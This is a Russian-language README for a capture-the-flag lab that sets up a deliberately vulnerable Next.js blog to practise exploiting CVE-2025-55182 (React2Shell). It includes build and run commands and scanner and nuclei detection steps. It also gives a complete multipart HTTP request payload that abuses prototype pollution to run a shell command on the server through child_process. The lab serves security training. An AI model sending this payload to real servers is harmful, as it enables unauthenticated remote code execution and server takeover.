
Среда лаборатории CTF, эксплуатирующая CVE-2025-55182 (RCE в компонентах React Server) с уязвимым блогом на Next.js, скриптами обнаружения и эксплуатационными полезными нагрузками для практического обучения безопасности.
Этот репозиторий предоставляет уязвимую среду CTF (Capture The Flag), основанную на блоге по кибербезопасности, использующем Next.js и React Server Components.
CVE-2025-55182 : Уязвимость удаленного выполнения кода (RCE) без аутентификации в React Server Components версий 19.0.0, 19.1.0, 19.1.1 и 19.2.0. Уязвимый код небезопасно десериализует полезные данные HTTP-запросов к конечным точкам Server Function.
CVE-2025-66478 : Влияние на приложения Next.js, использующие App Router.
Это задание представляет блог по кибербезопасности с:
В блоге используются уязвимые версии React и Next.js, что позволяет эксплуатировать уязвимость React2Shell.
| Пакет | Версия |
|---|---|
next | 16.0.6 |
react | 19.2.0 |
react-dom | 19.2.0 |
# Собрать образ
docker build -t react2shell-poc .
# Запустить контейнер
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc
npm install
npm run build
npm run start
Затем перейдите по адресу http://127.0.0.1:3000
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
Смотрите папку React2Shell/ с эксплойтом на Python.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Ответ будет содержать результат команды id в заголовке x-action-redirect.
Персонализированный CTF Challenge, основанный на шаблоне simple-nextjs-blog и уязвимой среде CVE-2025-55182.